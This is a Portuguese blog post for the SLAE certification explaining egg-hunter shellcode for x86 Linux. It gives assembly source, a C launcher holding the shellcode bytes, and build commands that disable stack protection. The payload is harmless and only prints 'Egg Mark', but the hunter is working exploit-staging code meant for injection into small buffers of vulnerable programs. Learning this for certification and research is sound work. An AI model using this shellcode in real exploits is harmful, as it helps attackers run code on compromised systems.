/*
Este post é uma sequência. Para melhor entendimento, vejam:
*/
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
Student ID: SLAE-237
Códigos deste post:
Terceira Missão (Caça aos bits)
Olá! Continuemos com a terceira missão do SLAE.
Nesta empreitada, vamos caçar ovos... não, cooler, não vai ser um elefante engolido por uma jiboia, muito menos achocolatados. :D []'s
3rd assignment:
- estudar sobre shellcodes egg hunter
- criar uma demonstração funcional de um
- essa demonstração deve ser configurável para diferentes payloads
Fluxograma gerado no r2 (radare).
Para facilitar a exemplificação, o Egg já se encontra no próprio Egg Hunter Launcher.
A configuração da assinatura do Egg é feita mudando-se os seus oito primeiros bytes; já no Egg Hunter, do 25° ao 28° byte. Optei por usar opcodes que não interferem no fluxo (nops, pushs), mesmo eles sendo ignorados no último JMP.
É importante ressaltar que os quatro últimos bytes, no caso do Egg, são uma mera repetição dos quatro primeiros; tal medida visa a fortificar a identificação evitando-se falso-positivos e faz parte do algoritmo de identificação do Egg Hunter, assim, se desejarem modificar os quatro primeiros bytes, repliquem a mesma mudança nos últimos.
Testando
# gcc -m32 -fno-stack-protector -z execstack egg_hunter_shellcode.c -o egg_hunter_shellcode
# ./egg_hunter_shellcode
Egg Mark
- estudar sobre shellcodes egg hunter
- criar uma demonstração funcional de um
- essa demonstração deve ser configurável para diferentes payloads
O resultado da pesquisa sobre egg hunting foi escasso. Encontrei apenas um shellcode do tipo para Linux. Fiz alguns testes mas logo vi que ele não era funcional, pois tentava ler toda a VAS do usuário (0x0 a 0xffffffff) resultando em SIGSEGV quando batia na porta de uma área protegida. A ideia principal que era percorrer a memória num looping eu já tinha abstraído, entretanto, como fazer isso de forma segura?
Perseverei no google e mudei a pesquisa de linux egg hunter para "windows" egg hunter. Bingo! Encontrei um paper fantástico escrito por skape em 2004, Safely Searching Process Virtual Address Space. Esse artigo, felizmente, além de abordar o windows, descreve duas formas no linux de se verificar se o usuário (aplicativo) tem permissões de leitura a dado offset. A primeira, a qual optei, é através da syscall access e a segunda é através da sigaction. Não sei por que tive que colocar "windows" na pesquisa; o que importa é que encontrei o que precisava.
Ok! Mas você não disse para que serve mesmo um egg hunter!
Perdão, vamos lá! Em alguns casos de exploração encontramos pequenas janelas de buffer disponíveis para injeção de código, nas quais um shellcode de tamanho maior seria inútil. Nessa mesma janela poderíamos injetar um Egg Hunter, obviamente menor que o shellcode principal, para vasculharmos a memória em busca do nosso shellcode (egg). Em suma, o Egg Hunter é um tipo de stager shellcode.
Mas como nosso shellcode principal (egg) estaria na memória?
Isso vai depender da aplicação explorada, das formas de entrada de dados etc. Como exemplos poderíamos ter um browser que carregaria o egg de um html, um mp3 player que carregaria o egg de um mp3 ou m3u, um programa genérico que leria todo o conteúdo de um arquivo de configuração com o egg implantado.
Compreendendo as explicações do skape a respeito do seu Egg Hunter (access), complementei-o com controle de lixo dos registers e limpando o DF (Direction Flag) para se garantir o incremento de EDI no uso da SCASD.
O resultado foi este.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
; This is a snippet of the original file in https://github.com/geyslan/SLAE/blob/master/3rd.assignment/egg_hunter.asm | |
global _start | |
section .text | |
_start: | |
; setting the registers | |
cld ; clear the direction flag (DF) to use scasd correctly | |
xor ecx, ecx | |
mul ecx | |
alignpage: | |
; align page | |
or dx, 0xfff ; is the same as "add dx, 4095" (PAGE_SIZE) | |
alignbyte: | |
inc edx ; next memory offset | |
; Accessing the memory offset | |
; int access(const char *pathname, int mode); | |
; access(memoryaddress, 0) | |
push 33 ; __NR_access 33 | |
pop eax | |
lea ebx, [edx + 4] ; alignment to validate the last four bytes of the signature | |
; ecx already contains 0 (F_OK) | |
int 0x80 ; kernel interruption | |
; verifies if memory is not readable (bad address = EFAULT = 0xf2 = -14) | |
; as the offset is not from a path name, access will never result 0, so we have to compare the error result with 0xf2 | |
cmp al, 0xf2 | |
; if is not, loop | |
jz alignpage | |
; compares the signature and increments 4 bytes in edi | |
mov eax, 0x50905090 ; byte reverse order | |
mov edi, edx | |
scasd | |
; if is not equal, loop | |
jnz alignbyte | |
; if is equal, compares the last signature 4 bytes and increments 4 bytes in edi again | |
scasd | |
; if is not equal, loop | |
jnz alignbyte | |
; if is equal, eat the egg | |
jmp edi |
Fluxograma gerado no r2 (radare).
Para facilitar a exemplificação, o Egg já se encontra no próprio Egg Hunter Launcher.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// This is a snippet of the original file in https://github.com/geyslan/SLAE/blob/master/3rd.assignment/egg_hunter_shellcode.c | |
#include <stdio.h> | |
#include <string.h> | |
unsigned char egg[] = \ | |
// Write "Egg Mark" and exit | |
"\x90\x50\x90\x50" // <- First Four Bytes of Signature | |
"\x90\x50\x90\x50" // <- Same first bytes are mandatory (Repeat them) | |
"\x31\xdb" | |
"\xf7\xe3\xb0\x04\x6a\x0a\x68\x4d\x61\x72" | |
"\x6b\x68\x45\x67\x67\x20\xb3\x01\x89\xe1" | |
"\xb2\x09\xcd\x80\xb0\x01\xcd\x80"; | |
unsigned char egghunter[] = \ | |
// Search for the Egg Signature (0x50905090 x 2) - the Egg's 8 first instructions (nop, push eax, nop, push eax...) | |
"\xfc\x31\xc9\xf7\xe1\x66\x81\xca\xff\x0f" | |
"\x42\x6a\x21\x58\x8d\x5a\x04\xcd\x80\x3c" | |
"\xf2\x74\xee\xb8" | |
"\x90\x50\x90\x50" // <- Signature | |
"\x89\xd7\xaf\x75\xe9\xaf\x75\xe6\xff\xe7"; | |
main () | |
{ | |
// When contains null bytes, printf will show a wrong shellcode length. | |
printf("Shellcode Length: %d\n", strlen(egghunter)); | |
// Pollutes all registers ensuring that the shellcode runs in any circumstance. | |
__asm__ ("movl $0xffffffff, %eax\n\t" | |
"movl %eax, %ebx\n\t" | |
"movl %eax, %ecx\n\t" | |
"movl %eax, %edx\n\t" | |
"movl %eax, %esi\n\t" | |
"movl %eax, %edi\n\t" | |
"movl %eax, %ebp\n\t" | |
// Setting the egg hunter signature to search (byte reverse order) | |
"movl $0x50905090, (egghunter+24)\n\t" | |
// Calling the shellcode | |
"call egghunter"); | |
} |
A configuração da assinatura do Egg é feita mudando-se os seus oito primeiros bytes; já no Egg Hunter, do 25° ao 28° byte. Optei por usar opcodes que não interferem no fluxo (nops, pushs), mesmo eles sendo ignorados no último JMP.
É importante ressaltar que os quatro últimos bytes, no caso do Egg, são uma mera repetição dos quatro primeiros; tal medida visa a fortificar a identificação evitando-se falso-positivos e faz parte do algoritmo de identificação do Egg Hunter, assim, se desejarem modificar os quatro primeiros bytes, repliquem a mesma mudança nos últimos.
Testando
# gcc -m32 -fno-stack-protector -z execstack egg_hunter_shellcode.c -o egg_hunter_shellcode
# ./egg_hunter_shellcode
Egg Mark